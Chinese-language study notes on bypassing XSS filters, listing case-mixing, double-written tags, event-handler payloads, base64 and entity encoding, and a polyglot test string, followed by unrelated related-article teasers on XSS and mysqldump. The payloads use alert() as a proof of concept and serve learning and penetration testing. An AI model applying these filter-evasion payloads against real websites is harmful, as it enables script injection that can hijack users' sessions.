XSS常见的绕过手法

article/2025/9/23 9:00:40

XSS学习笔记

  • XSS常见的绕过手法
        • 大小写绕过
        • 双写绕过
        • 开口标签
        • 空格回车TAB
        • 其他非黑名单标签和事件
        • 编码转义
        • 一些特殊过滤情况
        • 一些思维导图
        • 总结
        • 一些参考链接

XSS常见的绕过手法

大小写绕过

HTML对标签大小写不敏感,可以利用大小写混用绕过
例如:<script>改为<ScRiPt>

双写绕过

有些情况的规则会将黑名单标签替换为空,可以利用这一点构造标签
例如:<script>改为<scr<script>ipt>
同理某些注释符在规则中也会替换为空,这时候可以利用它构造payload
例如:<script>改为<scr<!---test--->ipt>

开口标签

在某些特殊环境,由于html代码补全机制,可以故意不闭合标签绕过黑名单检测
例如:<script>改为<script

空格回车TAB

例如:js伪协议javascript:alert('xss');可以改为java script:alert('xss');

其他非黑名单标签和事件

<img> 
payload:<img src=1 οnerrοr=alert("xss");>
<input>
payload: <input onfocus="alert('xss');"> <input οnblur=alert("xss") autofocus><input autofocus> #竞争焦点,触发onblur事件<input onfocus="alert('xss');" autofocus> #通过autofocus属性执行本身的focus事件
<details>
payload: <details ontoggle="alert('xss');"><details open ontoggle="alert('xss');"> #使用open属性触发ontoggle事件 
<svg>
payload: <svg οnlοad=alert("xss");>
<iframe>
payload: <iframe οnlοad=alert("xss");></iframe>
<body>
payload: <body/οnlοad=alert("xss");>

编码转义

base64编码

payload: <script>eavl(atob("PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg=="));</script> #eval()用于将字符串当作程序执行,atob()用于解密base64<a href="data:text/html;base64",PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">1</a>

JS编码

Uncode编码
\u00+16进制
JS环境中,利用String.fromCharCode函数将 Unicode 编码转为字符

16进制
\x+16进制

html实体编码

&#+10进制/16进制+;

一些特殊过滤情况

/代替空格
用反引号代替括号、双引号
用throw代替括号
用html实体编码&colon;代替冒号
用jsfuck编码绕过大部分字符过滤

……

一些思维导图

在这里插入图片描述

总结

一般xss的防护手段主要是过滤或转义敏感字符、标签,针对不同情况看人下菜,首先可以利用常见payload或枚举一些敏感字符、标签,查看是否有waf以及拦截情况去猜测规则对哪些输入做了限制,对不同的限制利用不同的方式进行绕过。

一些参考链接

https://www.cnblogs.com/sfsec/archive/2021/08/23/15178028.html
https://www.fujieace.com/penetration-test/xss-100.html
强防御下的XSS绕过思路
快速检查payload:

‘;alert(String.fromCharCode(88,83,83))//’;alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//–></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
”;!–”<XSS>=&{()}

http://chatgpt.dhexx.cn/article/9rs06vxa.shtml

相关文章

什么是XSS攻击?

网络千万条&#xff0c;安全第一条。网安不规范&#xff0c;网站都完蛋&#xff01; 前端工程师接触最多的漏洞我想就是 XSS 漏洞了&#xff0c;然鹅并不是所有的同学对其都有一个清晰的认识。这篇文章将带领大家认清XSS攻击&#xff0c;以及对于XSS攻击该如何防范。 什么是…

【web渗透】XSS跨站请求攻击

&#x1f495;&#x1f495;&#x1f495; 博主昵称&#xff1a;摆烂阳&#x1f495;&#x1f495;&#x1f495; &#x1f970;博主主页跳转链接 &#x1f469;‍&#x1f4bb;博主研究方向&#xff1a;web渗透测试 、python编程 &#x1f4c3; 博主寄语&#xff1a;希望本篇文…

XSS漏洞

XSS是web安全中最为常见的漏洞&#xff0c;XSS全称是Cross Site Script。XSS攻击通常指黑客通过“HTML注入”篡改了网页&#xff0c;插入了恶意脚本&#xff0c;从而控制用户浏览的一种攻击。 这里的跨站访问&#xff0c;可以是从正常的网站跨到黑客的服务器&#xff0c;也可以…

XSS-Game 通关教程,XSS-Game level1-18,XSS靶场通关教程

​ 「作者主页」&#xff1a;士别三日wyx 「作者简介」&#xff1a;CSDN top100、阿里云博客专家、华为云享专家、网络安全领域优质创作者 「专栏简介」&#xff1a; 此文章已录入专栏 靶场通关教程 XSS-Game XSS-Game level1XSS-Game level2XSS-Game level3XSS-Game level4XSS…

XSS攻击与CSRF攻击

XSS攻击 什么是XSS Cross-Site Scripting(跨站脚本攻击)&#xff0c;简称XSS&#xff0c;是一种代码注入攻击。攻击者通过在目标网站上注入恶意脚本&#xff0c;使之在用户的浏览器上运行。利用这些恶意脚本&#xff0c;攻击者可获取用户的敏感信息如Cookie、SessionID等&…

【XSS攻击介绍(一)】

目录 一、前言 二、攻击条件和漏洞验证方法 三、XSS漏洞分类 四、利用方法 五、XSS payload变形 六、防护总结 一、前言 XSS&#xff1a;跨站脚本攻击&#xff0c;即CSS。利用网页开发时留下的漏洞&#xff08;web应用程序对用户的输入过滤不足&#xff09;&#xff0c…

【XSS漏洞-01】XSS漏洞简介、危害与分类及验证

目录 1 XSS漏洞简介2 XSS漏洞危害3 XSS漏洞分类3.1 反射型XSS3.2 存储型XSS3.3 DOM型XSS3.3.1 节点树模型3.3.2 DOM型XSS 4 漏洞验证4.1 漏洞验证相关概念4.2 漏洞验证相关概念之间的区别4.3 常见POC 5 XSS漏洞验证实例5.1 反射型XSS漏洞验证实例5.2 存储型XSS漏洞验证实例5.3 …

XSS攻击详解

本篇博客主要总结一下什么是XSS攻击&#xff0c;并且如何防范XSS攻击。 一、什么是XSS攻击 XSS攻击中文名称为&#xff1a;跨站脚本攻击&#xff0c;XSS的重点不在于跨站&#xff0c;而在于脚本的攻击。 XSS攻击的工作原理&#xff1a;攻击者会在web页面中插入一些恶意的script…

XSS详解

XSS详解 1. 简介2. 跨站脚本实例3. XSS 的危害4. 分类4.1 反射型XSS&#xff08;非持久型&#xff09;漏洞成因攻击流程 4.2 存储型XSS&#xff08;持久型&#xff09;漏洞成因攻击流程 4.3 DOM型XSS漏洞成因 4.4 通用型XSS漏洞成因漏洞案例 4.5 突变型XSS漏洞成因攻击流程 5. …

XSS是什么?(Xmind配文详解)

一张图带你详解XSS &#xff08;话不多说上图&#xff09; 一、什么是 XSS XSS全称&#xff08;Cross Site Scripting&#xff09;跨站脚本攻击&#xff0c;是最常见的Web应用程序安全漏洞之一&#xff0c;位于OWASP top 10 2013/2017年度分别为第三名和第七名&#xff0c;X…

XSS详细讲解

XSS 1.XSS简介 &#xff08;1&#xff09;XSS简介 XSS作为OWASP TOP 10之一。 XSS中文叫做跨站脚本攻击&#xff08;Cross-site scripting&#xff09;&#xff0c;本名应该缩写为CSS&#xff0c;但是由于CSS&#xff08;Cascading Style Sheets&#xff0c;层叠样式脚本&am…

MySQL mysqldump数据导出详解

MySQL mysqldump数据导出详解 2016-04-07 11:14 pursuer.chen 阅读(357122) 评论(2) 编辑 收藏 举报 介绍 在日常维护工作当中经常会需要对数据进行导出操作&#xff0c;而mysqldump是导出数据过程中使用非常频繁的一个工具&#xff1b;它自带的功能参数非常多&#xff…

linux mysqldump 备份所有数据库,mysqldump导出所有数据库

Mysqldump工具的详细介绍 说明:mysqldump是数据库用来备份和数据转移的一个工具,一般在数据量很小的时候(几个G)可以用于备份。当数据量比较大的情况下,就不建议用mysqldump工具进行备份了;mysqldump是一个很好用的mysql数据转移工具,具有兼容强强、跨版本等特点; 一、数…

mysqldump实战-问题1

使用mysqldump导出数据时&#xff0c;遇到了一个权限问题(之前没报过这个提示) mysqldump: Error: Access denied; you need (at least one of) the PROCESS privilege(s) for this operation when trying to dump tablespaces 查看当前用户的权限&#xff1a; 解决方法&…

mysqldump 备份还原

Mysqldump Mysqldump客户端程序执行逻辑备份&#xff0c;可以生产一组SQL语句&#xff0c;这些语句可以执行重现原始数据库对象定义和表数据&#xff1b;它可以转存一个或多个数据库进行备份或者转移到其他数据库。Mysqldump命令也能生成csv文件或其他分隔符的文本&#xff0c…

mysqldump实战-问题2

在使用mysqldump 按条件导出数据的时候&#xff0c;发现导出的数据比直接在数据库查询数据变少了。 在数据库使用select count(*) from tablename where DATE_FORMAT(Inserted,%Y-%m-%d) 2022-12-13; 查到的数据是662条&#xff1b;然后使用mysqldump -uusr_name -pusr_pwd -…

MySQL 8.0 mysqldump 详解

作者公众号&#xff0c;欢迎一起交流。 mysqldump命令是MySQL自带的客户端程序&#xff0c;可用于对数据库进行备份&#xff0c;由于是逻辑备份&#xff0c;故可以看到备份的内容是有一系列的SQL语句组成&#xff0c;并可根据实际情况对备份内容进行修改。当然&#xff0c;使用…

mysqldump的使用简介

有时候要对线上数据进行操作&#xff0c; 需要提前备份下数据。 有时候需要将线上数据dump下来进行分析和验证。 来看下mysqldump的使用。 导出数据&#xff1a;mysqldump -h localhost -u root -p -P 17538 --single-transaction --databases taoge --tables x > x1.sql …

MySQL——使用mysqldump命令备份

使用mysqldump命令备份 mysqldump命令可以将数据库中的数据备份成一个文本文件。表的结构和表中的数据将存储在生成的文本文件中。本节将介绍mysqldump命令的工作原理和使用方法。 mysqldump命令的工作原理很简单。它先查出需要备份的表的结构&#xff0c;再在文本文件中生成…

网络安全——终端安全

背景 大中型企业桌面计算机数量众多,管理难度大,桌面安全问题突出。人们提起信息安全,往往把注意力集中在防火墙、防病毒、IDS、IPS、网络互连设备(Router、Switch)等的管理上,却忽略了对网络环境中的计算单元——桌面安全管理。 桌面安全,是传统网络安全防范体系的补…